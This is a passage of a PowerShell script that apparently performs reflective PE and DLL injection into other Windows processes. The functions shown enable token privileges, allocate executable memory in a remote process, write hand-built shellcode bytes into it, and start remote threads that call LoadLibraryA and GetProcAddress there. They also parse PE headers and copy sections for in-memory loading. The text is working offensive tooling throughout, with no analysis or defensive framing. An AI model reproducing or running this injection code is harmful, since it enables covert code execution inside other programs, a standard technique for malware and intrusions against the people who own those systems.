  915.                         Throw "Unable to call LookupPrivilegeValue"
  916.                 }
  917.  
  918.                 [UInt32]$TokenPrivSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.TOKEN_PRIVILEGES)
  919.                 [IntPtr]$TokenPrivilegesMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TokenPrivSize)
  920.                 $TokenPrivileges = [System.Runtime.InteropServices.Marshal]::PtrToStructure($TokenPrivilegesMem, [Type]$Win32Types.TOKEN_PRIVILEGES)
  921.                 $TokenPrivileges.PrivilegeCount = 1
  922.                 $TokenPrivileges.Privileges.Luid = [System.Runtime.InteropServices.Marshal]::PtrToStructure($PLuid, [Type]$Win32Types.LUID)
  923.                 $TokenPrivileges.Privileges.Attributes = $Win32Constants.SE_PRIVILEGE_ENABLED
  924.                 [System.Runtime.InteropServices.Marshal]::StructureToPtr($TokenPrivileges, $TokenPrivilegesMem, $true)
  925.  
  926.                 $Result = $Win32Functions.AdjustTokenPrivileges.Invoke($ThreadToken, $false, $TokenPrivilegesMem, $TokenPrivSize, [IntPtr]::Zero, [IntPtr]::Zero)
  927.                 $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error()
  928.                 if (($Result -eq $false) -or ($ErrorCode -ne 0))
  929.                 {
  930.  
  931.                 }
  932.  
  933.                 [System.Runtime.InteropServices.Marshal]::FreeHGlobal($TokenPrivilegesMem)
  934.         }
  935.  
  936.  
  937.         Function Create-RemoteThread
  938.         {
  939.                 Param(
  940.                 [Parameter(Position = 1, Mandatory = $true)]
  941.                 [IntPtr]
  942.                 $ProcessHandle,
  943.  
  944.                 [Parameter(Position = 2, Mandatory = $true)]
  945.                 [IntPtr]
  946.                 $StartAddress,
  947.  
  948.                 [Parameter(Position = 3, Mandatory = $false)]
  949.                 [IntPtr]
  950.                 $ArgumentPtr = [IntPtr]::Zero,
  951.  
  952.                 [Parameter(Position = 4, Mandatory = $true)]
  953.                 [System.Object]
  954.                 $Win32Functions
  955.                 )
  956.  
  957.                 [IntPtr]$RemoteThreadHandle = [IntPtr]::Zero
  958.  
  959.                 $OSVersion = [Environment]::OSVersion.Version
  960.  
  961.                 if (($OSVersion -ge (New-Object 'Version' 6,0)) -and ($OSVersion -lt (New-Object 'Version' 6,2)))
  962.                 {
  963.  
  964.                         $RetVal= $Win32Functions.NtCreateThreadEx.Invoke([Ref]$RemoteThreadHandle, 0x1FFFFF, [IntPtr]::Zero, $ProcessHandle, $StartAddress, $ArgumentPtr, $false, 0, 0xffff, 0xffff, [IntPtr]::Zero)
  965.                         $LastError = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error()
  966.                         if ($RemoteThreadHandle -eq [IntPtr]::Zero)
  967.                         {
  968.                                 Throw "Error in NtCreateThreadEx. Return value: $RetVal. LastError: $LastError"
  969.                         }
  970.                 }
  971.  
  972.                 else
  973.                 {
  974.  
  975.                         $RemoteThreadHandle = $Win32Functions.CreateRemoteThread.Invoke($ProcessHandle, [IntPtr]::Zero, [UIntPtr][UInt64]0xFFFF, $StartAddress, $ArgumentPtr, 0, [IntPtr]::Zero)
  976.                 }
  977.  
  978.                 if ($RemoteThreadHandle -eq [IntPtr]::Zero)
  979.                 {
  980.                         Write-Error "Error creating remote thread, thread handle is null" -ErrorAction Stop
  981.                 }
  982.  
  983.                 return $RemoteThreadHandle
  984.         }
  985.  
  986.  
  987.  
  988.         Function Get-ImageNtHeaders
  989.         {
  990.                 Param(
  991.                 [Parameter(Position = 0, Mandatory = $true)]
  992.                 [IntPtr]
  993.                 $PEHandle,
  994.  
  995.                 [Parameter(Position = 1, Mandatory = $true)]
  996.                 [System.Object]
  997.                 $Win32Types
  998.                 )
  999.  
  1000.                 $NtHeadersInfo = New-Object System.Object
  1001.  
  1002.  
  1003.                 $dosHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($PEHandle, [Type]$Win32Types.IMAGE_DOS_HEADER)
  1004.  
  1005.  
  1006.                 [IntPtr]$NtHeadersPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEHandle) ([Int64][UInt64]$dosHeader.e_lfanew))
  1007.                 $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name NtHeadersPtr -Value $NtHeadersPtr
  1008.                 $imageNtHeaders64 = [System.Runtime.InteropServices.Marshal]::PtrToStructure($NtHeadersPtr, [Type]$Win32Types.IMAGE_NT_HEADERS64)
  1009.  
  1010.  
  1011.             if ($imageNtHeaders64.Signature -ne 0x00004550)
  1012.             {
  1013.                 throw "Invalid IMAGE_NT_HEADER signature."
  1014.             }
  1015.  
  1016.                 if ($imageNtHeaders64.OptionalHeader.Magic -eq 'IMAGE_NT_OPTIONAL_HDR64_MAGIC')
  1017.                 {
  1018.                         $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS -Value $imageNtHeaders64
  1019.                         $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name PE64Bit -Value $true
  1020.                 }
  1021.                 else
  1022.                 {
  1023.                         $ImageNtHeaders32 = [System.Runtime.InteropServices.Marshal]::PtrToStructure($NtHeadersPtr, [Type]$Win32Types.IMAGE_NT_HEADERS32)
  1024.                         $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS -Value $imageNtHeaders32
  1025.                         $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name PE64Bit -Value $false
  1026.                 }
  1027.  
  1028.                 return $NtHeadersInfo
  1029.         }
  1030.  
  1031.  
  1032.  
  1033.         Function Get-PEBasicInfo
  1034.         {
  1035.                 Param(
  1036.                 [Parameter( Position = 0, Mandatory = $true )]
  1037.                 [Byte[]]
  1038.                 $PEBytes,
  1039.  
  1040.                 [Parameter(Position = 1, Mandatory = $true)]
  1041.                 [System.Object]
  1042.                 $Win32Types
  1043.                 )
  1044.  
  1045.                 $PEInfo = New-Object System.Object
  1046.  
  1047.  
  1048.                 [IntPtr]$UnmanagedPEBytes = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PEBytes.Length)
  1049.                 [System.Runtime.InteropServices.Marshal]::Copy($PEBytes, 0, $UnmanagedPEBytes, $PEBytes.Length) | Out-Null
  1050.  
  1051.  
  1052.                 $NtHeadersInfo = Get-ImageNtHeaders -PEHandle $UnmanagedPEBytes -Win32Types $Win32Types
  1053.  
  1054.  
  1055.                 $PEInfo | Add-Member -MemberType NoteProperty -Name 'PE64Bit' -Value ($NtHeadersInfo.PE64Bit)
  1056.                 $PEInfo | Add-Member -MemberType NoteProperty -Name 'OriginalImageBase' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.ImageBase)
  1057.                 $PEInfo | Add-Member -MemberType NoteProperty -Name 'SizeOfImage' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.SizeOfImage)
  1058.                 $PEInfo | Add-Member -MemberType NoteProperty -Name 'SizeOfHeaders' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.SizeOfHeaders)
  1059.                 $PEInfo | Add-Member -MemberType NoteProperty -Name 'DllCharacteristics' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.DllCharacteristics)
  1060.  
  1061.  
  1062.                 [System.Runtime.InteropServices.Marshal]::FreeHGlobal($UnmanagedPEBytes)
  1063.  
  1064.                 return $PEInfo
  1065.         }
  1066.  
  1067.  
  1068.  
  1069.  
  1070.         Function Get-PEDetailedInfo
  1071.         {
  1072.                 Param(
  1073.                 [Parameter( Position = 0, Mandatory = $true)]
  1074.                 [IntPtr]
  1075.                 $PEHandle,
  1076.  
  1077.                 [Parameter(Position = 1, Mandatory = $true)]
  1078.                 [System.Object]
  1079.                 $Win32Types,
  1080.  
  1081.                 [Parameter(Position = 2, Mandatory = $true)]
  1082.                 [System.Object]
  1083.                 $Win32Constants
  1084.                 )
  1085.  
  1086.                 if ($PEHandle -eq $null -or $PEHandle -eq [IntPtr]::Zero)
  1087.                 {
  1088.                         throw 'PEHandle is null or IntPtr.Zero'
  1089.                 }
  1090.  
  1091.                 $PEInfo = New-Object System.Object
  1092.  
  1093.  
  1094.                 $NtHeadersInfo = Get-ImageNtHeaders -PEHandle $PEHandle -Win32Types $Win32Types
  1095.  
  1096.  
  1097.                 $PEInfo | Add-Member -MemberType NoteProperty -Name PEHandle -Value $PEHandle
  1098.                 $PEInfo | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS -Value ($NtHeadersInfo.IMAGE_NT_HEADERS)
  1099.                 $PEInfo | Add-Member -MemberType NoteProperty -Name NtHeadersPtr -Value ($NtHeadersInfo.NtHeadersPtr)
  1100.                 $PEInfo | Add-Member -MemberType NoteProperty -Name PE64Bit -Value ($NtHeadersInfo.PE64Bit)
  1101.                 $PEInfo | Add-Member -MemberType NoteProperty -Name 'SizeOfImage' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.SizeOfImage)
  1102.  
  1103.                 if ($PEInfo.PE64Bit -eq $true)
  1104.                 {
  1105.                         [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.NtHeadersPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_NT_HEADERS64)))
  1106.                         $PEInfo | Add-Member -MemberType NoteProperty -Name SectionHeaderPtr -Value $SectionHeaderPtr
  1107.                 }
  1108.                 else
  1109.                 {
  1110.                         [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.NtHeadersPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_NT_HEADERS32)))
  1111.                         $PEInfo | Add-Member -MemberType NoteProperty -Name SectionHeaderPtr -Value $SectionHeaderPtr
  1112.                 }
  1113.  
  1114.                 if (($NtHeadersInfo.IMAGE_NT_HEADERS.FileHeader.Characteristics -band $Win32Constants.IMAGE_FILE_DLL) -eq $Win32Constants.IMAGE_FILE_DLL)
  1115.                 {
  1116.                         $PEInfo | Add-Member -MemberType NoteProperty -Name FileType -Value 'DLL'
  1117.                 }
  1118.                 elseif (($NtHeadersInfo.IMAGE_NT_HEADERS.FileHeader.Characteristics -band $Win32Constants.IMAGE_FILE_EXECUTABLE_IMAGE) -eq $Win32Constants.IMAGE_FILE_EXECUTABLE_IMAGE)
  1119.                 {
  1120.                         $PEInfo | Add-Member -MemberType NoteProperty -Name FileType -Value 'EXE'
  1121.                 }
  1122.                 else
  1123.                 {
  1124.                         Throw "PE file is not an EXE or DLL"
  1125.                 }
  1126.  
  1127.                 return $PEInfo
  1128.         }
  1129.  
  1130.  
  1131.         Function Import-DllInRemoteProcess
  1132.         {
  1133.                 Param(
  1134.                 [Parameter(Position=0, Mandatory=$true)]
  1135.                 [IntPtr]
  1136.                 $RemoteProcHandle,
  1137.  
  1138.                 [Parameter(Position=1, Mandatory=$true)]
  1139.                 [IntPtr]
  1140.                 $ImportDllPathPtr
  1141.                 )
  1142.  
  1143.                 $PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr])
  1144.  
  1145.                 $ImportDllPath = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($ImportDllPathPtr)
  1146.                 $DllPathSize = [UIntPtr][UInt64]([UInt64]$ImportDllPath.Length + 1)
  1147.                 $RImportDllPathPtr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, $DllPathSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE)
  1148.                 if ($RImportDllPathPtr -eq [IntPtr]::Zero)
  1149.                 {
  1150.                         Throw "Unable to allocate memory in the remote process"
  1151.                 }
  1152.  
  1153.                 [UIntPtr]$NumBytesWritten = [UIntPtr]::Zero
  1154.                 $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RImportDllPathPtr, $ImportDllPathPtr, $DllPathSize, [Ref]$NumBytesWritten)
  1155.  
  1156.                 if ($Success -eq $false)
  1157.                 {
  1158.                         Throw "Unable to write DLL path to remote process memory"
  1159.                 }
  1160.                 if ($DllPathSize -ne $NumBytesWritten)
  1161.                 {
  1162.                         Throw "Didn't write the expected amount of bytes when writing a DLL path to load to the remote process"
  1163.                 }
  1164.  
  1165.                 $Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("kernel32.dll")
  1166.                 $LoadLibraryAAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "LoadLibraryA")
  1167.  
  1168.                 [IntPtr]$DllAddress = [IntPtr]::Zero
  1169.  
  1170.  
  1171.                 if ($PEInfo.PE64Bit -eq $true)
  1172.                 {
  1173.  
  1174.                         $LoadLibraryARetMem = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, $DllPathSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE)
  1175.                         if ($LoadLibraryARetMem -eq [IntPtr]::Zero)
  1176.                         {
  1177.                                 Throw "Unable to allocate memory in the remote process for the return value of LoadLibraryA"
  1178.                         }
  1179.  
  1180.  
  1181.  
  1182.                         $LoadLibrarySC1 = @(0x53, 0x48, 0x89, 0xe3, 0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xb9)
  1183.                         $LoadLibrarySC2 = @(0x48, 0xba)
  1184.                         $LoadLibrarySC3 = @(0xff, 0xd2, 0x48, 0xba)
  1185.                         $LoadLibrarySC4 = @(0x48, 0x89, 0x02, 0x48, 0x89, 0xdc, 0x5b, 0xc3)
  1186.  
  1187.                         $SCLength = $LoadLibrarySC1.Length + $LoadLibrarySC2.Length + $LoadLibrarySC3.Length + $LoadLibrarySC4.Length + ($PtrSize * 3)
  1188.                         $SCPSMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($SCLength)
  1189.                         $SCPSMemOriginal = $SCPSMem
  1190.  
  1191.                         Write-BytesToMemory -Bytes $LoadLibrarySC1 -MemoryAddress $SCPSMem
  1192.                         $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC1.Length)
  1193.                         [System.Runtime.InteropServices.Marshal]::StructureToPtr($RImportDllPathPtr, $SCPSMem, $false)
  1194.                         $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize)
  1195.                         Write-BytesToMemory -Bytes $LoadLibrarySC2 -MemoryAddress $SCPSMem
  1196.                         $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC2.Length)
  1197.                         [System.Runtime.InteropServices.Marshal]::StructureToPtr($LoadLibraryAAddr, $SCPSMem, $false)
  1198.                         $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize)
  1199.                         Write-BytesToMemory -Bytes $LoadLibrarySC3 -MemoryAddress $SCPSMem
  1200.                         $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC3.Length)
  1201.                         [System.Runtime.InteropServices.Marshal]::StructureToPtr($LoadLibraryARetMem, $SCPSMem, $false)
  1202.                         $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize)
  1203.                         Write-BytesToMemory -Bytes $LoadLibrarySC4 -MemoryAddress $SCPSMem
  1204.                         $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC4.Length)
  1205.  
  1206.  
  1207.                         $RSCAddr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UIntPtr][UInt64]$SCLength, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE)
  1208.                         if ($RSCAddr -eq [IntPtr]::Zero)
  1209.                         {
  1210.                                 Throw "Unable to allocate memory in the remote process for shellcode"
  1211.                         }
  1212.  
  1213.                         $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RSCAddr, $SCPSMemOriginal, [UIntPtr][UInt64]$SCLength, [Ref]$NumBytesWritten)
  1214.                         if (($Success -eq $false) -or ([UInt64]$NumBytesWritten -ne [UInt64]$SCLength))
  1215.                         {
  1216.                                 Throw "Unable to write shellcode to remote process memory."
  1217.                         }
  1218.  
  1219.                         $RThreadHandle = Create-RemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $RSCAddr -Win32Functions $Win32Functions
  1220.                         $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000)
  1221.                         if ($Result -ne 0)
  1222.                         {
  1223.                                 Throw "Call to CreateRemoteThread to call GetProcAddress failed."
  1224.                         }
  1225.  
  1226.  
  1227.                         [IntPtr]$ReturnValMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize)
  1228.                         $Result = $Win32Functions.ReadProcessMemory.Invoke($RemoteProcHandle, $LoadLibraryARetMem, $ReturnValMem, [UIntPtr][UInt64]$PtrSize, [Ref]$NumBytesWritten)
  1229.                         if ($Result -eq $false)
  1230.                         {
  1231.                                 Throw "Call to ReadProcessMemory failed"
  1232.                         }
  1233.                         [IntPtr]$DllAddress = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ReturnValMem, [Type][IntPtr])
  1234.  
  1235.                         $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $LoadLibraryARetMem, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null
  1236.                         $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RSCAddr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null
  1237.                 }
  1238.                 else
  1239.                 {
  1240.                         [IntPtr]$RThreadHandle = Create-RemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $LoadLibraryAAddr -ArgumentPtr $RImportDllPathPtr -Win32Functions $Win32Functions
  1241.                         $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000)
  1242.                         if ($Result -ne 0)
  1243.                         {
  1244.                                 Throw "Call to CreateRemoteThread to call GetProcAddress failed."
  1245.                         }
  1246.  
  1247.                         [Int32]$ExitCode = 0
  1248.                         $Result = $Win32Functions.GetExitCodeThread.Invoke($RThreadHandle, [Ref]$ExitCode)
  1249.                         if (($Result -eq 0) -or ($ExitCode -eq 0))
  1250.                         {
  1251.                                 Throw "Call to GetExitCodeThread failed"
  1252.                         }
  1253.  
  1254.                         [IntPtr]$DllAddress = [IntPtr]$ExitCode
  1255.                 }
  1256.  
  1257.                 $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RImportDllPathPtr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null
  1258.  
  1259.                 return $DllAddress
  1260.         }
  1261.  
  1262.  
  1263.         Function Get-RemoteProcAddress
  1264.         {
  1265.                 Param(
  1266.                 [Parameter(Position=0, Mandatory=$true)]
  1267.                 [IntPtr]
  1268.                 $RemoteProcHandle,
  1269.  
  1270.                 [Parameter(Position=1, Mandatory=$true)]
  1271.                 [IntPtr]
  1272.                 $RemoteDllHandle,
  1273.  
  1274.                 [Parameter(Position=2, Mandatory=$true)]
  1275.                 [IntPtr]
  1276.                 $FunctionNamePtr,
  1277.  
  1278.         [Parameter(Position=3, Mandatory=$true)]
  1279.         [Bool]
  1280.         $LoadByOrdinal
  1281.                 )
  1282.  
  1283.                 $PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr])
  1284.  
  1285.                 [IntPtr]$RFuncNamePtr = [IntPtr]::Zero
  1286.  
  1287.         if (-not $LoadByOrdinal)
  1288.         {
  1289.                 $FunctionName = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($FunctionNamePtr)
  1290.  
  1291.  
  1292.                     $FunctionNameSize = [UIntPtr][UInt64]([UInt64]$FunctionName.Length + 1)
  1293.                     $RFuncNamePtr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, $FunctionNameSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE)
  1294.                     if ($RFuncNamePtr -eq [IntPtr]::Zero)
  1295.                     {
  1296.                             Throw "Unable to allocate memory in the remote process"
  1297.                     }
  1298.  
  1299.                     [UIntPtr]$NumBytesWritten = [UIntPtr]::Zero
  1300.                     $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RFuncNamePtr, $FunctionNamePtr, $FunctionNameSize, [Ref]$NumBytesWritten)
  1301.                     if ($Success -eq $false)
  1302.                     {
  1303.                             Throw "Unable to write DLL path to remote process memory"
  1304.                     }
  1305.                     if ($FunctionNameSize -ne $NumBytesWritten)
  1306.                     {
  1307.                             Throw "Didn't write the expected amount of bytes when writing a DLL path to load to the remote process"
  1308.                     }
  1309.         }
  1310.  
  1311.         else
  1312.         {
  1313.             $RFuncNamePtr = $FunctionNamePtr
  1314.         }
  1315.  
  1316.  
  1317.                 $Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("kernel32.dll")
  1318.                 $GetProcAddressAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "GetProcAddress")
  1319.  
  1320.  
  1321.  
  1322.                 $GetProcAddressRetMem = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UInt64][UInt64]$PtrSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE)
  1323.                 if ($GetProcAddressRetMem -eq [IntPtr]::Zero)
  1324.                 {
  1325.                         Throw "Unable to allocate memory in the remote process for the return value of GetProcAddress"
  1326.                 }
  1327.  
  1328.  
  1329.  
  1330.  
  1331.                 [Byte[]]$GetProcAddressSC = @()
  1332.                 if ($PEInfo.PE64Bit -eq $true)
  1333.                 {
  1334.                         $GetProcAddressSC1 = @(0x53, 0x48, 0x89, 0xe3, 0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xb9)
  1335.                         $GetProcAddressSC2 = @(0x48, 0xba)
  1336.                         $GetProcAddressSC3 = @(0x48, 0xb8)
  1337.                         $GetProcAddressSC4 = @(0xff, 0xd0, 0x48, 0xb9)
  1338.                         $GetProcAddressSC5 = @(0x48, 0x89, 0x01, 0x48, 0x89, 0xdc, 0x5b, 0xc3)
  1339.                 }
  1340.                 else
  1341.                 {
  1342.                         $GetProcAddressSC1 = @(0x53, 0x89, 0xe3, 0x83, 0xe4, 0xc0, 0xb8)
  1343.                         $GetProcAddressSC2 = @(0xb9)
  1344.                         $GetProcAddressSC3 = @(0x51, 0x50, 0xb8)
  1345.                         $GetProcAddressSC4 = @(0xff, 0xd0, 0xb9)
  1346.                         $GetProcAddressSC5 = @(0x89, 0x01, 0x89, 0xdc, 0x5b, 0xc3)
  1347.                 }
  1348.                 $SCLength = $GetProcAddressSC1.Length + $GetProcAddressSC2.Length + $GetProcAddressSC3.Length + $GetProcAddressSC4.Length + $GetProcAddressSC5.Length + ($PtrSize * 4)
  1349.                 $SCPSMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($SCLength)
  1350.                 $SCPSMemOriginal = $SCPSMem
  1351.  
  1352.                 Write-BytesToMemory -Bytes $GetProcAddressSC1 -MemoryAddress $SCPSMem
  1353.                 $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC1.Length)
  1354.                 [System.Runtime.InteropServices.Marshal]::StructureToPtr($RemoteDllHandle, $SCPSMem, $false)
  1355.                 $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize)
  1356.                 Write-BytesToMemory -Bytes $GetProcAddressSC2 -MemoryAddress $SCPSMem
  1357.                 $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC2.Length)
  1358.                 [System.Runtime.InteropServices.Marshal]::StructureToPtr($RFuncNamePtr, $SCPSMem, $false)
  1359.                 $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize)
  1360.                 Write-BytesToMemory -Bytes $GetProcAddressSC3 -MemoryAddress $SCPSMem
  1361.                 $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC3.Length)
  1362.                 [System.Runtime.InteropServices.Marshal]::StructureToPtr($GetProcAddressAddr, $SCPSMem, $false)
  1363.                 $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize)
  1364.                 Write-BytesToMemory -Bytes $GetProcAddressSC4 -MemoryAddress $SCPSMem
  1365.                 $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC4.Length)
  1366.                 [System.Runtime.InteropServices.Marshal]::StructureToPtr($GetProcAddressRetMem, $SCPSMem, $false)
  1367.                 $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize)
  1368.                 Write-BytesToMemory -Bytes $GetProcAddressSC5 -MemoryAddress $SCPSMem
  1369.                 $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC5.Length)
  1370.  
  1371.                 $RSCAddr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UIntPtr][UInt64]$SCLength, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE)
  1372.                 if ($RSCAddr -eq [IntPtr]::Zero)
  1373.                 {
  1374.                         Throw "Unable to allocate memory in the remote process for shellcode"
  1375.                 }
  1376.                 [UIntPtr]$NumBytesWritten = [UIntPtr]::Zero
  1377.                 $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RSCAddr, $SCPSMemOriginal, [UIntPtr][UInt64]$SCLength, [Ref]$NumBytesWritten)
  1378.                 if (($Success -eq $false) -or ([UInt64]$NumBytesWritten -ne [UInt64]$SCLength))
  1379.                 {
  1380.                         Throw "Unable to write shellcode to remote process memory."
  1381.                 }
  1382.  
  1383.                 $RThreadHandle = Create-RemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $RSCAddr -Win32Functions $Win32Functions
  1384.                 $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000)
  1385.                 if ($Result -ne 0)
  1386.                 {
  1387.                         Throw "Call to CreateRemoteThread to call GetProcAddress failed."
  1388.                 }
  1389.  
  1390.  
  1391.                 [IntPtr]$ReturnValMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize)
  1392.                 $Result = $Win32Functions.ReadProcessMemory.Invoke($RemoteProcHandle, $GetProcAddressRetMem, $ReturnValMem, [UIntPtr][UInt64]$PtrSize, [Ref]$NumBytesWritten)
  1393.                 if (($Result -eq $false) -or ($NumBytesWritten -eq 0))
  1394.                 {
  1395.                         Throw "Call to ReadProcessMemory failed"
  1396.                 }
  1397.                 [IntPtr]$ProcAddress = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ReturnValMem, [Type][IntPtr])
  1398.  
  1399.  
  1400.                 $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RSCAddr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null
  1401.                 $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $GetProcAddressRetMem, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null
  1402.  
  1403.         if (-not $LoadByOrdinal)
  1404.         {
  1405.             $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RFuncNamePtr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null
  1406.         }
  1407.  
  1408.                 return $ProcAddress
  1409.         }
  1410.  
  1411.  
  1412.         Function Copy-Sections
  1413.         {
  1414.                 Param(
  1415.                 [Parameter(Position = 0, Mandatory = $true)]
  1416.                 [Byte[]]
  1417.                 $PEBytes,
  1418.  
  1419.                 [Parameter(Position = 1, Mandatory = $true)]
  1420.                 [System.Object]
  1421.                 $PEInfo,
  1422.  
  1423.                 [Parameter(Position = 2, Mandatory = $true)]
  1424.                 [System.Object]
  1425.                 $Win32Functions,
  1426.  
  1427.                 [Parameter(Position = 3, Mandatory = $true)]
  1428.                 [System.Object]
  1429.                 $Win32Types
  1430.                 )
  1431.  
  1432.                 for( $i = 0; $i -lt $PEInfo.IMAGE_NT_HEADERS.FileHeader.NumberOfSections; $i++)
  1433.                 {
  1434.                         [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.SectionHeaderPtr) ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_SECTION_HEADER)))
  1435.                         $SectionHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($SectionHeaderPtr, [Type]$Win32Types.IMAGE_SECTION_HEADER)
  1436.  
  1437.  
  1438.                         [IntPtr]$SectionDestAddr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$SectionHeader.VirtualAddress))
  1439.  
  1440.  
  1441.  
  1442.  
  1443.  
  1444.                         $SizeOfRawData = $SectionHeader.SizeOfRawData
  1445.  
  1446.                         if ($SectionHeader.PointerToRawData -eq 0)
  1447.                         {
  1448.                                 $SizeOfRawData = 0
  1449.                         }
  1450.  
  1451.                         if ($SizeOfRawData -gt $SectionHeader.VirtualSize)
  1452.                         {
  1453.                                 $SizeOfRawData = $SectionHeader.VirtualSize
  1454.                         }
  1455.  
  1456.                         if ($SizeOfRawData -gt 0)
  1457.                         {
  1458.                                 Test-MemoryRangeValid -DebugString "Copy-Sections::MarshalCopy" -PEInfo $PEInfo -StartAddress $SectionDestAddr -Size $SizeOfRawData | Out-Null
